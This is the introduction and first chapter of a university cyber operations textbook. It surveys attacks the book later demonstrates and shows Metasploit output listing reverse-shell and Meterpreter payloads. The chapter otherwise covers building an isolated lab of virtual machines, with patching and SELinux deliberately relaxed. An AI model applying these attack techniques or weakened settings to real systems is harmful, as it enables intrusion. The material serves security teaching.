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Introduction

How do you set up, defend, and attack computer networks? This book is a gentle
introduction to cyber operations for a reader with a working knowledge of Windows and
Linux operating systems and basic TCP/IP networking. It is the result of more than 10
years of teaching a university capstone course in hands-on cyber security.

It begins by showing how to build a range of Windows and Linux workstations,
including CentOS, Mint, OpenSuSE, and Ubuntu systems. These can be physical or
virtual systems built with VMWare Workstation or VirtualBox. Kali Linux is introduced
and Metasploit is used to attack these systems, including EternalBlue and attacks against
Internet Explorer, Firefox, Java, and Adobe Flash Player. These attacks all leave traces on
the target and the network that can be found by a savvy defender, and these methods are
demonstrated.

This interplay between setup, attack, and defense forms the core of the book. It
continues through the process of setting up realistic networks with DNS servers and
Windows Active Directory. Windows systems can be managed remotely using SMB,
RPC, and WinRM; WMTI is introduced, including the use of WMI to monitor systems.
The Windows domain is then attacked, and techniques to escalate privileges from
local user to domain user to domain administrator are developed. Tools like Mimikatz,
Responder, and John the Ripper are used to obtain credentials, and hashes are passed
across the domain. Linux systems are attacked next, and Dirty COW is demonstrated. To
detect these attacks, a defender can turn to system logs; the reader will learn how logs
are stored on Windows and Linux and how they can be made to interoperate. Sysmon is
introduced and PowerShell used to query these logs.

An attacker with access to a system generally wants to maintain access to that
system; this can be done using malware. Common vectors for persistence are
demonstrated, including the registry, WMI persistence, and Kerberos golden tickets. A
defender aware of these techniques can block or detect these attacks. An administrator
can use PowerShell to search the domain to detect persistence mechanisms, firewall
rules can be deployed to reduce lateral movement, and LAPS can be deployed to protect
local accounts.
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INTRODUCTION

Of course, networks are built to provide services to users, so the book continues
with an introduction to common services, including SSH, FTP, Windows file sharing,
and Remote Desktop. Next are web servers, both IIS and Apache. These are configured,
including using signed SSL/TLS certificates, attacked via a range of techniques,
and defended with tools like ModSecurity. Real networks do not use a flat network
topology, so network firewalls based on IPFire are introduced to separate the network
into components and filter traffic in and out of the network. Databases are included in
the network, and intrusion detection systems used to defend the network. The book
concludes with an introduction to PHP and PHP-based web applications including
WordPress, Joomla! and phpMyAdmin.

About the Systems

The book covers systems as they were used between 2011 and 2017. These systems
should be patched now, so showing how to attack them today poses little risk to
currently deployed systems. Back in the day, though, these systems were vulnerable to
these exploits even though they were fully patched at the time. The defensive techniques
discussed throughout the book retain their value and can be used to defend current
systems even from new attacks.

About the Book

This book is designed for readers who are comfortable with Windows, Linux, and
networking who want to learn the operational side of cyber security. It is meant to be
read hand in hand with systems; indeed, the only way to learn cyber operations is to lay
hands on a keyboard and work. Set up the various systems described in the book, try out
the attacks, and look for the traces left by the attacks. Initially you may want to follow

the text closely; but as you gain proficiency, it is better to use the text only as a guide and
starting place for your own explorations.

I have taught a university capstone course in cyber security since 2004, and this book
evolved from that course. It provides the reader a comprehensive introduction to hands-
on cyber operations. It contains more material than can be comfortably covered in a
semester, and yet, despite its size, it is far from exhaustive.

xxviii



INTRODUCTION

The book includes online supplementary material at https://www.apress.com/
us/book/9781484242933. There you can find additional notes for each chapter, along
with exercises that can be used either by an intrepid individual reader or by someone
teaching a course.

Formatting

One problem with writing a book that includes computer output is that sometimes the
screen output is wider than the page. Wherever possible, the text reproduces exactly
what appears as the output from a command. However, when the output of a line is
longer than the line on a page, I have taken the liberty of editing and formatting the
result to make it easier for the reader. As an example, the raw output might look like the
following.

msf exploit(ms17_010_eternalblue) > show payloads

Compatible Payloads

Name Disclosure Date Rank  Description
generic/custom normal Custom Payload
generic/shell bind tcp normal Generic
Command Shell, Bind TCP Inline

generic/shell reverse tcp normal Generic

Command Shell, Reverse TCP Inline

windows/x64/exec normal Windows x64
Execute Command

windows/x64/loadlibrary normal Windows x64
LoadLibrary Path

...Output Deleted ...

windows/x64/meterpreter/reverse_http normal Windows
Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
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windows/x64/meterpreter/reverse https

normal Windows

Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager

(wininet)

windows/x64/meterpreter/reverse tcp
Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager

...Output Deleted ...

Instead, the text reads like the following.

normal Windows

msf exploit(ms17 010 eternalblue) > show payloads

Compatible Payloads

generic/custom
generic/shell bind tcp

generic/shell reverse tcp

windows/x64/exec
windows/x64/loadlibrary

...Output Deleted ...

windows/x64/meterpreter
/reverse_http

windows/x64/meterpreter
/reverse https

windows/x64/meterpreter
/reverse_tcp

... Output Deleted ...

Rank

normal
normal

normal

normal
normal

normal

normal

normal

Description

Custom Payload

Generic Command Shell, Bind TCP
Inline

Generic Command Shell, Reverse TCP
Inline

Windows x64 Execute Command
Windows x64 LoadlLibrary Path

Windows Meterpreter
(Reflective Injection x64), Windows
x64 Reverse HTTP Stager (wininet)
Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse
HTTP Stager (wininet)
Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse
TCP Stager

I'hope you agree that the latter is more readable.
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Contacting the Author

You can reach Mike O'Leary at moleary@towson.edu. If you are a student or a faculty
member participating at a Collegiate Cyber Defense exercise and you find this book

helpful, I would love to hear from you.
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CHAPTER 1

System Setup

Introduction

Cyber operations is about the configuration, defense, and attack of real systems. This text focuses
on systems that were deployed between 2011 and 2017.

To configure, attack, and defend systems, a testing laboratory is required. Such a laboratory must
not only allow systems to be built and run but must provide a way to segregate them from the wider
Internet; after all, older systems are known to be vulnerable to public exploits. One excellent solution
is virtualization. A range of virtualization solutions exists; two commonly deployed solutions are
VMWare and VirtualBox. This chapter begins with an introduction to these virtualization solutions.

The chapter describes the major Windows desktop and server operating systems released
between 2011 and 2017; it also includes major releases from the CentOS, OpenSuSE, Ubuntu,
and Mint Linux distributions. The Notes and References section provides download locations for
the various Linux distributions. This chapter shows how to build virtual machines running these
operating systems.

A functioning computer system is more than just its operating system though; its entire
ecosystem of installed applications must be considered. Desktop systems generally include a
browser as well as plugins for various kinds of active web content. This chapter shows how to
install three commonly used programs: Firefox, Java, and Adobe Flash Player on Windows and
Linux workstations. The Notes and References lists download locations for these tools.

One advantage of modern operating systems and many major software packages is that they
automatically download and install the latest security patches, often without user interaction. In
almost every circumstance, this is a good thing. To keep test systems at a preferred patch level,
this functionality must be controlled or disabled.

When this chapter is complete, the reader will have set up and configured a fully functional
testing laboratory that can be used to run Windows and Linux virtual machines as they were
deployed on a selected date between 2011 and 2017.

Virtualization Tools

A good testing laboratory needs a wide range of systems. Rather than use dedicated hardware for
each system, it is much simpler to build systems using virtualization. Two of the most common
tools for operating system virtualization are VMWare Workstation and VirtualBox, while other
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choices include ProxMox, Hyper-V, Parallels, QEMU, and Xen. This book focuses solely on the
first two of these. VMWare Workstation is a long-standing, solid commercial product that runs

on Windows and Linux; it has a free version called VMWare Player with reduced functionality.
VirtualBox is a free, open source alternative; it runs on Windows Linux, Macintosh, and Solaris. In
its current version, it is comparable to VMWare Workstation in functionality.

VMWare Workstation

The simplest way to learn about VMWare Workstation is to dive right in by installing and running
a guest operating system.

Installing a VMWare Guest

Grab the install disc for a Linux distribution or a Windows system, and save that . iso file in some
convenient location.! Launch VMWare Workstation. If the home tab appears, select “Create a New
Virtual Machine”; if it does not, then the same option is available from the File menu.

VMWare Workstation begins the process of creating a new virtual machine by presenting the user
with the “New Virtual Machine Wizard.” The “Typical” configuration is usually sufficient. The first
question is the location of the install media; provide the location of the saved .1iso file for the “Installer
disc image file (iso).” In most, though not all cases, VMWare Workstation recognizes the operating
system on the disc image. When VMWare Workstation moves to install a recognized operating
system, it uses “Easy Install” and makes several choices for the user. This automated process is often
convenient, however it precludes the user from choosing some things, like the system partition table
or the precise collection of installed software; this can occasionally cause difficulty later.

When VMWare Workstation is installing a Windows system, it provides a dialog box that
allows the user to enter the Windows product key, the precise version of Windows (e.g., Windows
8 Professional), and the new system’s user and password. When a Linux system like CentOS is
being installed, VMWare instead asks for information about a system user: the user’s full name,
the username, and the password for that user. The same password for the user is also used for the
root account on the system. In either case, VMWare Workstation then asks for both the name of
the virtual machine and the location in which it will be stored. The VMWare Workstation name is
separate and distinct from any host name of the system; it is used solely by VMWare Workstation
to generate the names of the files that comprise the virtual machine and will appear as the
machine’s title within VMWare Workstation. When selecting the location of those files, note that
there are many files for each virtual machine, so it is a very good idea to store each system in its
own separate directory.

'The Notes and References section at the end of the chapter provides links to locations containing
installation discs for CentOS, Kali, Mint, Ubuntu, and OpenSuSE as well as to evaluation copies of Microsoft
operating systems.
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VMWare Workstation asks for the size of the virtual hard disk; it also provides the option to
split the virtual disk into smaller files. The rationale for this question is the limitation of some file
systems, including FAT32. The FAT32 file system remains commonly used on flash drives, even
though files in FAT32 are limited to less than 4GB in size. A virtual machine with a hard drive of
4GB or more could not be copied onto such a flash drive. When VMWare Workstation uses a split
virtual disk, each file is no more than 2GB in size.

Be sure that your host has sufficient memory for all the running guests.

Before creating the virtual machine, VMWare Workstation allows the hardware to be
customized. Settings that can be modified include the system’s memory, the number of network
cards it possesses, and installed peripherals like a CD/DVD or a USB controller.

When the choices have been made, VMWare Workstation installs the operating system.

Managing VMWare Guests

Once the guest operating system is installed, the guest will reboot. Interact with the guest as any
other system; log on, providing the password selected during the installation process. The guest
responds as if it were the only system currently running.

One issue that may arise is control of the keyboard and the mouse. This is not usually a
problem, as VMWare installs VMWare Tools on the guest as part of the installation process after
the system first boots. (On Windows systems, this requires a reboot of the guest.) In general, the
keyboard combination CTRL+ALT, when pressed inside a guest, returns control of the keyboard
and the mouse to the host.

Another problematic keyboard combination is CTRL+ALT+DEL. On a Windows host, that
combination will be intercepted by the host operating system. To send that combination to the
guest, use CTRL+ALT+INSERT instead.

Once the guest is running, it can be powered down from within the guest. VMWare
Workstation provides the ability to shut down or restart the guest from VMWare Workstation itself.
It also provides the ability to suspend the guest, essentially pausing it. This can be convenient
when the current state of the system is critical.

VMWare Workstation provides the ability to take a “Snapshot” of a system. This stores the
complete current state of the system and allows the user to later revert the system back to that
precise state. Multiple snapshots can be taken and stored. Snapshots are managed through the
Snapshot Manager (Figure 1-1), which can be accessed by navigating the VMWare Workstation
main menu through VM » Snapshot » Snapshot Manager.
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Figure 1-1. VMWare Workstation 12.1 Snapshot Manager

Once a virtual machine has been created, it can be copied and moved by copying and moving
the underlying files. When a moved or copied virtual machine is started for the first time, VMWare
Workstation will prompt the user, warning that the virtual machine may have been moved or copied
and asking the user to select either “I moved it” or “I copied it” One of the core differences between
these two options is the MAC address of the guest. If the user selects “I moved it,” then the guest MAC
address remains unchanged, but if “I copied it” is selected, then the guest’s MAC address is modified.
If this were not done, then the original system and its duplicate would have the same MAC address
on the network, which is a recipe for amusing network mayhem if both are run at the same time.

Networking in VMWare

A network adapter for a VMWare Workstation virtual machine can be configured in several
different ways.

e Itcanbe connected directly to the host’s physical network (bridged). In this
mode, it acts as another system on the host’s network.
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e It canbe connected to the host’s physical network via network address
translation (NAT). In this case the guest can make outbound connections
to the physical network, but inbound connections reach the guest only if
explicitly allowed by port forwarding.

e Itcan be connected to a host-only network, which only allows network
connections to/from other adapters on the host-only network, including the host.

e It canbe connected to a different virtual network (VMNet2 - VMNet7 or
VMNet9 - VMNet19). All the adapters connected to the same virtual network
can communicate with each other and with the host but cannot directly
communicate with other guests or with systems on the physical network.

The configuration of a network adapter can be changed from the Settings dialog box for the
virtual machine; that dialog box can be accessed by navigating the VMWare Workstation menu
through VM » Settings. From the Hardware tab, select Network Adapter to modify the settings.

The settings for each network are controlled through the Virtual Network Editor; it can be
launched by navigating the VMWare Workstation Menu through Edit » Virtual Network Editor.
Because this tool affects the networking on the host, it may require elevated privileges on a
Windows host. This tool configures the network type, its assigned address range, and its subnet
mask. It also controls whether VMWare Workstation should act as a DHCP server on that network,
and if it is a NAT network, any port forwarding.

The address of the host on each network can be found by using command-line tools on the
host. In its default configuration, a Windows host should have Ethernet adapters for both the
VMNetl1 (host-only) and the VMNet8 (NAT) networks; their addresses can be found using ipconfig.

VMWare Tools

To improve the interaction between the guest and the host, some modification of the guest

is required. In VMWare Workstation, this is done by VMWare Tools. If VMWare Workstation
recognized the operating system during the install, then VMWare Tools is installed on the guest as
part of the “Easy Install” process. For some Linux distributions, VMWare Tools must be manually
installed after the guest operating system is running.

One feature provided by VMWare Tools is that it enables copying and pasting between guests
and the host. It allows for drag and drop, so that files from the host can be dragged and dropped
onto a guest (and vice versa) where they will be copied. Both features can be disabled; navigate to
Virtual Machine Settings from the main menu through VM » Settings, then from the Options tab
select Guest Isolation.

VMWare Workstation can adjust the screen size of a guest with VMWare Tools. The user
can resize the VMWare Workstation application, and the size and screen resolution of the guest
will be adjusted accordingly. VMWare Tools also enables “Unity Mode.” In unity mode, the
background of the guest is not shown at all; instead its windows are shown in the host as if they
were natively hosted windows.
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VMWare Tools enables the use of shared folders. A shared folder is a folder on the host
operating system that also exists (at a different mount point) in the guest. This feature is enabled
and controlled through Virtual Machine Settings (VM » Settings) in the Options Tab, under
Shared Folders. To enable a shared folder, determine how long the shared folder should be
enabled (permanently, or until the next guest reboot). The Add button will start the Add Shared
Folder Wizard. Select a directory on the host, say D: \Shared, and then a name for the share- say
shared. On a Linux system, that folder will be mounted in the file system at /mnt/hgfs/shared.
Here /mnt is the usual location for external file systems, hgfs stands for host-guest-file-system,
and shared is the name of the share that was created. If the guest is a Windows system rather than
a Linux system, the process is similar, though the shared folder appears as \\vmware-host\Shared
Folders\shared if automatic drive mapping is not selected, and as E: \shared if it is.

VirtualBox

One of the big advantages of VirtualBox over VMWare Workstation is that VirtualBox is a free,
open source product. There was a time when VMWare Workstation had significantly more
features than VirtualBox, but today they are comparable. The current downside of VirtualBox is
that configuring a system to run in VirtualBox requires more manual effort.

Installing a VirtualBox Guest

The simplest way to learn to use VirtualBox is to dive right in and install a guest.

The process begins when the user presses the “New” button on the main menu. VirtualBox
presents a dialog box, asking for the name and type of the system. Like VMWare Workstation,
the host name is used solely by VirtualBox itself. VirtualBox asks the user to select the amount of
memory that the virtual machine will use and the size of the guest system’s hard drive. The user
can choose from a range of virtual hard disk formats, including VDI; the VirtualBox disk image;
and VMDK, the format used by VMWare. One important difference between the formats is that
though VMDK files can be split into smaller 2GB files to enable them to be stored on FAT32
partitions, VDI files cannot be so split. Both VDI and VMDXK files can be dynamically allocated,
meaning that the file(s) containing the hard drive only contains data for the parts of the hard
disk that had been used. Finally, VirtualBox asks for the final size of the hard disk as well as the
location on the host where the file(s) would be stored.

Unlike VMWare Workstation, at this point the guest has not yet been installed; indeed, the
user is yet to even provide the location of the install media to VirtualBox. However, when the
virtual machine is first started, VirtualBox asks the user for the location of a startup disk. This can
be a physical disk in the form of a CD/DVD; it can also be an . iso image file. The VirtualBox guest
will then boot from the install media as if it were a physical device. The user must complete the
install process manually. This provides more control than VMWare Workstation, but it requires
more manual intervention.



CHAPTER 1  SYSTEM SETUP

Managing VirtualBox Guests

Once the guest is running, users interact with it as if it were a physical machine. The keyboard and
mouse are directed to the guest as if it were any other application. To manually change whether
the host or the guest receives keyboard input, press the host key, which by default is the CTRL key
on the right side of the keyboard. To change the host key, from the Oracle VM VirtualBox Manager
navigate the main menu through File » Preferences. Select Input from the left menu, then the
Virtual Machine tab. The first displayed option is for the Host Key Combination.

To send the CTRL+ALT+DEL combination to a guest, use HOST+DEL (=RCTRL+DEL by
default); like the host key itself, this key combination can be changed in the same preferences menu.

VirtualBox provides the ability to pause, reset, and shut down a guest from VirtualBox itself.
VirtualBox also provides the ability to take a snapshot of a system, either running or shut down. These
snapshots can be taken from the VirtualBox menu for the guest itself (navigate Machine » Take
Snapshot), or from the Oracle VM VirtualBox Manager (Figure 1-2). To use the VirtualBox Manager,
select the virtual machine from the list on the left side of VirtualBox Manager, then press the Snapshots
button on the top right. A tree-like structure showing the available snapshots is presented, as well
as the current state of the system. To create a new snapshot, select the current state, and press the
leftmost camera icon. Restoring a snapshot requires the user to select the snapshot, then the camera
icon second from the left; however, a system snapshot cannot be restored while the guest is running.
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Figure 1-2. Managing snapshots in VirtualBox 5.0.32
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The process of copying and moving VirtualBox virtual machines depends on whether the
copied guest will be used on the same host. To create a copy of a virtual machine for use on
the same host, begin with a powered down virtual machine. From VirtualBox Manager, select
the virtual machine, then navigate the main menu through Machine » Clone. Provide a new
name for the system and choose whether the new guest will have a different MAC address than
the original guest; clearly this is required if both guests are to run at the same time on the same
network. There are two types of clones: one where the original system is duplicated (full clone)
and one where only the changes are recorded (linked clone). The clone can include all or none of
the snapshots taken of the original guest.

A VirtualBox virtual machine can be copied to a different physical host by copying the
directory containing the virtual machine’s files. To add the copied guest to VirtualBox Manager
on the destination host, navigate the main menu through Machine » Add, then select the
corresponding virtual machine file. Note that the copied system will still have the same MAC
address as the original system. To change the MAC address, start with a powered down guest.
Navigate VirtualBox Manager’s main menu through Machine » Settings (Figure 1-3). Select
Network on the left and the adapter. Open the Advanced submenu. The MAC address can be
manually changed or a new random MAC address generated using the icon to the right of the
MAC address.
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Figure 1-3. Changing the MAC address of a guest in VirtualBox 5.0.32
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Networking in VirtualBox

VirtualBox allows the user to choose from a range of network adapter types. The adapter(s) for a
guest can be networked in different ways.

e The adapter can be connected to the host via network address translation
(NAT). Unless changed manually, the first adapter connected to a NAT
network will receive an address in 10.0.2.0/24, the second in 10.0.3.0/24,
and so on. Though they can make outbound connections to the physical
network, adapters connected via NAT cannot communicate with each other.

o The adapter can be connected to the host via NAT Network. To create a
NAT Network, from the main menu for the VirtualBox Manager navigate
File » Preferences (Figure 1-4). Select Network from the left, then the NAT
Networks tab. Use the green icon to the right to create a new NAT network,
then use the screwdriver to set its properties. Key properties to set are the
Network Name and its address range. By default, the first created network is
named “NatNetwork,” runs on 10.0.2.0/24, and has a DHCP server.

Guest adapters can be connected to any existing NAT Network. These
adapters can communicate with others on the same NAT Network as
well as make outbound connections to the physical network through a
gateway at the .1 address.
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Figure 1-4. Creating a NAT Network in VirtualBox 5.0.32
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o The adapter can be bridged to the same network as the host, and so act as
another system on the physical network.

o The adapter can be connected to a host-only network. Adapters on this
network can communicate with other adapters on the host-only network
and with the host. The host usually has address 192.168.56.1 with other
adapters in the range 192.168.56.0/24. By default, VirtualBox runs a DHCP
server, giving out addresses in the range 192.168.56.101 - 192.168.56.254.

e The adapter can be connected to an internal network. All adapters connected
to an internal network with the same name can communicate with each other,
but not to adapters connected to internal networks with different names.
Adapters on an internal network cannot communicate with the host.

VirtualBox Guest Additions

Some features of VirtualBox require software to be installed on the guest itself; these tools are
called VirtualBox Guest Additions. VirtualBox Guest Additions improve how the host and guest
share the keyboard and mouse; after installation users can use the mouse to switch between the
guest and other applications on the host rather than use the HOST key.

The additions improve graphical performance in the guest, allowing the user to resize the
window and having the guest automatically change its screen resolution to compensate. Another
graphical improvement is called “Seamless Mode.” It is controlled from the guest’s VirtualBox
main menu by navigating View » Seamless Mode or via the shortcut key HOST+L. Once
Seamless Mode is enabled, the guest’s background is disabled, and windows displayed by the
guest instead appear to be natively displayed by the host.

VirtualBox Guest Additions provide ways the host and guest can share content. It provides
the ability to drag and drop files between host and guest; it also provides the ability to share the
clipboard so that data can be copied from the host then pasted to the guest and vice versa. Both
features are controllable through the guest’s VirtualBox main menu, under the Devices heading.
Access can be granted from the host to the guest, from the guest to the host, bidirectional, or
none, which is the default.

Another way host and guest can share information after VirtualBox Guest Additions has
been installed is through a shared folder. Configuration of shared folders is through the guest’s
VirtualBox main menu, under the Devices heading. To create a shared folder, choose the folder
path on the host and the folder name that will be used to identify it to the guest. Permanent
shares persist after the virtual machine is stopped while shares marked as auto-mount will be
mounted into the file system when the guest starts. In the case of Windows guests, they receive a
drive letter; in the case of Linux guests they appear in the /media directory with a name formed by
prefixing st _to the name of the share. Shares that are not automatically mounted can be found
on a Windows guest as a networked file share in the location \\VBOXSVR.
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Building Linux Systems

There are a wide range of Linux distributions that are deployed in significant numbers. CentOS

is a freely available open source version of Red Hat’s commercial offerings, while OpenSuSE is

a close relative of SuSE’s enterprise product. Ubuntu, developed by Canonical, is considered by
many to be very end-user friendly. Mint is based on Ubuntu with different software choices, most
notably a different desktop. Kali is a specialized, penetration testing distribution that makes an
excellent platform to learn more about offense. Each of these Linux distributions can be installed
as a virtual machine, either in VMWare Workstation or in VirtualBox.

Networking

Though Linux systems share many common elements, different Linux distributions have
customized and modified how to configure networking.

Networking in Cent0S

The host name for a CentOS system can be set as part of the installation process. Once the system
is running, the method to change the host name varies with the version. On CentOS 5 and CentOS
6 systems, one approach is to edit the file /etc/sysconfig/network. On a CentOS 6.7 system for
example, that file may have the content

[egalois@sabik ~]$ cat /etc/sysconfig/network
NETWORKING=yes

HOSTNAME=sabik.stars.example

GATEWAY=10.0.0.1

Changes to the hostname made in this file take effect when the system reboots.
On a CentOS 7 system, the command hostnamectl can be used to manipulate the hostname.
The system name can be changed with the command

[root@sirius ~]# hostnamectl set-hostname ankaa.stars.example

Although the Bash prompt may not reflect the changed hostname, the change can be verified
with the command

[root@sirius ~]# hostnamectl status
Static hostname: ankaa.stars.example
Icon name: computer-vm
Chassis: vm
Machine ID: 9105161345844ad89ca00a845cd94eba
Boot ID: 7262e7ce5f864a20a833e17e68adef20
Virtualization: kvm

11
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Operating System: CentOS Linux 7 (Core)
CPE OS Name: cpe:/o:centos:centos:7
Kernel: Linux 3.10.0-514.el7.x86 64
Architecture: x86-64

Other options to the hostnamectl command can be found by running hostnamectl help.
In each case, the file /etc/hosts should to be modified so that the loopback address reflects
the correct hostname

127.0.0.1 localhost.localdomain localhost ankaa ankaa.stars.example
11l localhost6.localdomain6 localhost6 ankaa ankaa.stars.example

There are graphical tools (Figure 1-5) to set the networking characteristics for each version
of CentOS; however the tools are different and located in different places depending on the
version of CentOS. For CentOS 5, the tool can be found by navigating the main menu System »
Administration » Network, while on CentOS 6 navigate System » Preferences » Network
Connections. On CentOS 7, right-click on the power button in the top right of the main menu bar,
then select either settings (which is an icon formed from a crossed screwdriver and wrench) or
select the connection itself.
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Connection name: |5ystem etho [

) Connect automatically
i/ Available to all users

Wired  802.1x Security | IPv4 Settings | IPv6 Settings

Method: | Manual

<>

Addresses
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10.0.2.103  255.255.0.0  10.0.0.1
Delete |

DNS servers:  [10.0.2.28 |
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| Require IPv4 addressing for this connection to complete

Routes... |

| Cancel d | Apply...

Figure 1-5. Configuring the interface eth0 in CentOS 6.6
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These tools store their settings in text files that can be manually edited, though the locations
of the files vary with the version. On CentOS 5 or CentOS 6, these are stored in the file /etc/
sysconfig/network, while in CentOS 7, the file is /etc/sysconfig/network-scripts/ifcfg-
enp0s3. Note that enp0s3 is the default name of the network interface in CentOS 7; this replaces
the older etho name used in CentOS 5 or CentOS 6. The structure of these files is similar across
versions; for example, the configuration for a CentOS 7.3-1611 may have the structure

[cgauss@ankaa ~]$ cat /etc/sysconfig/network-scripts/ifcfg-enpos3
TYPE=Ethernet

BOOTPROTO=none

DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes

IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=enp0s3
UUID=67a33675-e656-454e-9ael-f42a161ddee3
DEVICE=enp0s3

ONBOOT=yes

DNS1=10.0.2.28
DOMAIN=stars.example
IPADDR=10.0.2.94

PREFIX=16

GATEWAY=10.0.0.1

IPV6 PEERDNS=yes
IPV6_PEERROUTES=yes
IPV6_PRIVACY=no

The significance of most lines is self-explanatory, though CentOS provides additional
documentation in the file /usr/share/doc/initscripts-x.yy.zz/sysconfig.txt (the directory
varies with the version of CentOS).

These tools allow the user to provide one or more IP addresses for each interface.

CentOS provides a graphical tool to configure the firewall (Figure 1-6), though the location
and tool vary with the version. On CentOS 5, navigate the main menu through System »
Administration » Security Level and Firewall, on CentOS 6, navigate System » Administration »
Firewall, and on CentOS 7 navigate Applications » Sundry » Firewall. These tools offer roughly
the same options.
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Firewall Configuration
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Figure 1-6. The Firewall Configuration tool in CentOS 6.1

In each case, the graphical firewall tool is a front end to iptables.

SELinux on Cent0S

CentOS systems install SELinux by default. SELinux modifies the kernel to provide additional
security features and finer-grained access control. Though effective and useful, it is also very
difficult to configure, extremely difficult to debug, and many deployed systems ran with SELinux
disabled.

Set SELinux to permissive mode by editing the file /etc/selinux/config; this will require
a system reboot. In permissive mode, SELinux runs, but it does not prevent access violations.
SELinux can temporarily be set into permissive mode with the command setenforce
permissive. Changes made this way persist only until the next system reboot.

Networking in OpenSuSE

OpenSuSE systems use the tool YaST (Figure 1-7) for most setup and configuration options; these
include setting the name of the system. YaST can be launched from the main menu on the bottom
left of the system (the home iguana). To update the host name, select Network Services, then
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Hostnames. Select an IP address, and provide the corresponding name for the system on that
interface. The result is stored in the text file /etc/HOSTNAME. For example, on an OpenSuSE 42.2
system that file can have the content

egalois@dschubba:~> cat /etc/HOSTNAME
dschubba.stars.example
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Figure 1-7. The configuration tool YaST on OpenSuSE 42.2

The network settings for an OpenSuSE system can be changed using YaST, though the
location of the module within YaST varies with the version of OpenSuSE. On older systems
including OpenSuSE 12 and 13, from YaST navigate Network Devices » Network Settings. In
later systems like OpenSuSE 42, navigate instead System » Network Settings. In each case the
graphical tool provides comparable functionality. The user can set the IP address(es), netmask,
DNS servers, and the like for each available interface.

The configuration information is stored in the file /etc/sysconfig/network/ifcfg-etho or
/etc/sysconfig/network/ifcfg-enp0s3 depending on how the network interface is named. For
example, on an OpenSuSE 13.2 system that file has the content

egalois@merak:~> cat /etc/sysconfig/network/ifcfg-enpos3
BOOTPROTO="static'
BROADCAST=""
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ETHTOOL OPTIONS="'
IPADDR="10.0.2.93/16"

MTU=""

NAME=""

NETMASK=""

NETWORK=""

REMOTE_IPADDR=""
STARTMODE="auto'

DHCLIENT SET DEFAULT ROUTE='yes'

YaST also includes a graphical tool to configure the firewall for the system; it is available from
within YaST in the collection Security and Users.

Networking in Ubuntu

The process to change the hostname on an Ubuntu system varies with the release. On older

versions, the file /etc/hostname can be updated with the desired host name; the new name will
be used after the system reboots. Beginning with Ubuntu 13.04, the command hostnamectl can
be used in the same fashion as a CentOS 7 system. As an example, consider the following on an
Ubuntu 14.04 system, changing the hostname from lachesis.asteroid.test to gyptis.asteroid.test.

jmaxwell@lachesis:~$ sudo hostnamectl set-hostname gyptis.asteroid.test
jmaxwell@lachesis:~$ sudo hostnamectl status
Static hostname: gyptis.asteroid.test
Icon name: computer-vm
Chassis: vm
Boot ID: agac4c98e49f4b408c13a24a04230842
Virtualization: kvm
Operating System: Ubuntu 14.04 LTS
Kernel: Linux 3.13.0-24-generic
Architecture: 1686

To update the network settings for an Ubuntu system, navigate the main menu to System
Settings, then select Network. The resulting graphical tool (Figure 1-8) varies slightly between
Ubuntu versions, but all allow the user to set the IP address, gateway, and DNS servers for the
system.
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B Editing Wired connection 1

Connection name: | Wired connection 1

General Ethernet 802.1x Security IPv4 Settings & IPv6 Settings

Method: | Manual v
Addresses
Address Netmask Gateway Add
10.0.3.49 255.255.0.0 10.0.0.1
Delete
DNS servers: 10.0.3.18

Searchdomains: | asteroid.test
DHCP client ID:
] Require IPv4 addressing For this connection to complete

Routes...

Cancel Save...

Figure 1-8. Configuring the network on an Ubuntu 14.04 system

SYSTEM SETUP

When networking is configured in this fashion, the resulting settings are stored in the
directory /etc/NetworkManager/system-connections. For example, an Ubuntu 14.04 system
might be configured as follows.

jmaxwell@lachesis:~$ 1ls /etc/NetworkManagex/system-connections/

Wired connection 1

jmaxwell@lachesis:~$ sudo cat /etc/NetworkManager/system-connections/Wired\

connection\ 1
[802-3-ethernet]
duplex=full

mac-address=08:00:27:58:55:6A

[connection]
id=Wired connection

1

uuid=477fd3bb-a4a6-4f77-91ee-abfb80d9a288

type=802-3-ethernet

timestamp=1484596218

[ipve]
method=auto

[ipv4]
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method=manual

dns=10.0.3.18;
dns-search=asteroid.test;
address1=10.0.3.49/16,10.0.0.1

Unlike CentOS and OpenSuSE systems, by default Ubuntu systems do not include a graphical
tool to manage the firewall. There is a command-line tool to manage the firewall on an Ubuntu
system; it is named ufw. The commands for ufw can be found by running ufw help. By default,
the firewall is inactive; indeed, a check on Ubuntu 16.10 shows

jmaxwell@diomedes:~$ sudo ufw status
Status: inactive

Networking in Mint

Mint systems are configured in the same fashion as Ubuntu systems; this is unsurprising as Mint
is based on Ubuntu. To change the hostname on older versions of Mint, a user can change the
contents of /etc/hostname and reboot the system. Later systems like Mint 16 allow the use of
hostnamectl, though the result is still stored in /etc/hostname.

The graphical tools to modify the network settings on Mint systems are the same as on
Ubuntu systems though they are in different locations within the start menu. On an old system
like Mint 12, launch the tool by navigating the main menu through Applications » Other
» Network Connections. On later systems like Mint 17, navigate the main menu through
Preferences » Network Connections.

Like Ubuntu systems, the firewall on Mint systems is inactive by default: for example,
on Mint 18.1.

jmaxwell@daphne ~ $ sudo ufw status
Status: inactive

Networking in Kali

To configure the networking on a Kali system, navigate to the system properties as if the system
were a CentOS 7 system by selecting the power icon in the top right of the main menu, then
selecting the icon that appears to be a crossed screwdriver and wrench. From the resulting dialog,
select Network and configure the interfaces on the system.

Configuring Software Repositories

These Linux distributions use a package manager for software. The package manager is used
when adding additional software to the system as well as managing security updates for the
system. To keep these systems as they were deployed after installation and still retain the needed
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flexibility to install additional software, the package managers need to be configured to so as not
to automatically download updates.? This process is slightly different for each distribution.

Configuring yum in Cent0S

CentOS systems use yum to manage software; this package manager is configured in /etc/yum.
conf and the configuration information for the stored repositories is contained in the directory
/etc/yum.repos.d/ in files that end with . repo. The precise collection of included repositories
varies with the version of CentOS. Each file contains information for one or more repositories; for
example, in CentOS 7.0-1406, the file /etc/yum.repos.d/Cent0S-Base.repo contains the lines

[base]

name=Cent0S-$releasever - Base
mirrorlist=http://mirrorlist.centos.org/?release=$releasever8arch=$basearch&repo=os
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/

gpgcheck=1

